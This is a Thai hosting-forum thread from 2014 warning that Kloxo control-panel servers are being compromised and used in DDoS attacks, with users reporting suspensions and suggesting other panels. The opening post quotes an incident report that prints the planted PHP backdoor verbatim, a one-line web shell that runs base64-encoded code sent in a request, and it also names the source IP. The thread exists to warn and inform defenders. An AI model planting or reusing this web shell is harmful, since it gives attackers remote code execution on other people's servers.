ใครใช้ Kloxo มีหนาว ระวัง server คุณจะโจมตีคนอื่น!

nuvatchai · 29 มกราคม 2014, 09:22:36

อ่านกระทู้นี้ครับ http://www.webhostingtalk.com/showthread.php?t=1344003
โชคดีที่ผมไม่ได้ใช้ ถ้าใครใช้อยู่แล้วแล้วโดน suspend server มีงานยุ่งแน่ traffic หายอันดับตก
ขอบอกว่าปัจจุบัน kloxo ไม่ควรใช้แล้วครับ ขาดการพัฒนาที่ดีมานานแล้วครับ

อ้างถึงThis just came up on IRC for a few of us at the same time whereby vm's with kloxo installed appear to be spawning a large number of httpd processes. Further investigation shows they're all sending out volumes of traffic as part of a ddos.

This is taken from a post on VPSboard.com:

อ้างถึงOur clients are getting their Kloxo installations compromised with a randomly-named PHP file placed into ./home/kloxo/httpd/default/, which is the 'default' site accessible by IP address.

This PHP file contains:
PHP Code:
โค้ด เลือก ขยาย
<?php set_time_limit(0);error_reporting(NULL); if(($_REQUEST['8ba7afbaaddc67de33a3f'])!=NULL){eval(base64_decode($_REQUEST['8ba7afbaaddc67de33a3f']));} else{echo '<!DOCTYPE HTML PUBLIC\"-//IETF//DTDHTML 2.0//EN\"><html><head><title></title></head><body>Access denied.</body ></html >';} ?>
(http://disclosed.info/?7c12a1a4560b7664#5fpnfdknf4EfBcGqLjeV9/vAY1RXEKkLC3+fqm16c6E=)

Where the $_REQUEST variable is a random value. The basic premise of the script is: if the specific $_REQUEST variable is set, then decode and run all of the code passed via variable. This is obviously bad.

All of the requests to run the script successfully have, thus far, come from: 176.31.146.168 (France, OVH Systems, OVH Systems, AS16276 OVH Systems, doesn't have rDNS)

Currently, these are being used to send extremely wimpy (20-40k pps) DDOS; the script used seems to be poorly written, as it slams CPU usage before it gets anywhere near maximum network utilization. We've had 4 instances this morning. Beware!

You can read more here: https://vpsboard.com/topic/3384-kloxo-installations-compromised/

Steven (R911) is already looking in to it.

iczykung · 29 มกราคม 2014, 10:00:25

ของฟรีทำใจหน่อยฮ่ะ ต้องผ่านการโมจากเมพ แบบ vhcs ของ appserv ครับ

gunhotnews · 29 มกราคม 2014, 13:19:04

ของผมก็น่าจะโดนแล้ว T_T

ayethai · 29 มกราคม 2014, 13:28:11

ขอผมก็โดนเรียบร้อยแล้วครับผม เพิ่งใช้ได้ 1 วันเอง แบบนี้ต้องรอทาง Support ไหมครับ ว่ามีอะไรออกมาแก้ไขได้บ้าง

iczykung · 29 มกราคม 2014, 14:07:23

อยากได้ da วิปมานะครัช ^^

afterdead · 29 มกราคม 2014, 15:04:12

เพิ่งโดน เมื่อวานหมาดๆ ตอนนี้โฮสเปิดให้แล้ว แต่ ปิด service ของ kloxo ไว้ก่อน !!!

iczykung · 29 มกราคม 2014, 15:15:31

อ้างถึงจาก: Anonymous-X ใน 29 มกราคม 2014, 15:00:21
ถ้า Kloxo ไม่น่าใช้แล้ว มีตัวไหนน่าใช้นอกจาก Kloxo มั่งครับ

ถ้าฟรีก็มี zpanel , vhcs
แต่ถ้าเสียตัง directadmin , cpanel , plesk ครับ เรียงตามลำดับความแพง

[M]-ammothz · 29 มกราคม 2014, 15:29:32

ว่าแล้วมันแปลกๆ vpsที่เพิ่งเช่าเมื่อเดือนก่อน ใช้ได้เพียงไม่กี่วันยังไม่ทันได้ทำอะไรเลย โดนsuspend server ผมงงเลยข้อหาDdos
ยังเหลืออีกลูกที่ยังไม่โดน suspend server แต่ก็มัแบนวิท โหดมาก

nutlove · 30 มกราคม 2014, 18:08:43

เนี่ยละครับของฟรี มักทำมาไม่ดีพอ พวกระบบป้องกันไรอย่างนี้ยังมีช่องโหว่อีกเยอะ ลูกค้าผมก็โดนไปหลายคนละ พวก Appserv

max30012540 · 30 มกราคม 2014, 18:18:47

เกี่ยวอะไรกับฟรีไม่ฟรี
cPanel ตัวแพงยังมีแคร๊กออกมาแจกเลยครับ

elmoro · 30 มกราคม 2014, 19:56:10

น่ากลัวจุง

AffiliateMarketer · 30 มกราคม 2014, 20:16:48

โดนปิด 1 ที่แล้วเหมือนกันครับ ถ้ารีบลบที่อื่นๆ แล้ว

digitalex · 30 มกราคม 2014, 20:19:41

เพิ่งโดนมาเลยครับ

parinya9447 · 30 มกราคม 2014, 21:44:58

บงตรงๆ เลยนะ ถ้าใช้ Kloxo แฮกหาช่องโห่วง่ายแฮก ยิ่งง่าย

Mr.sa · 30 มกราคม 2014, 21:47:23

น่ากลัวคับ

ConfirmGroup · 31 มกราคม 2014, 14:20:51

ลองใช้ vesta ดูครับ ง่าย ดี ฟรี และ ปลอดภ้ัยกว่า Kloxo

kanokk · 31 มกราคม 2014, 14:47:41

โดนมาแล้วเหมือนกันครับ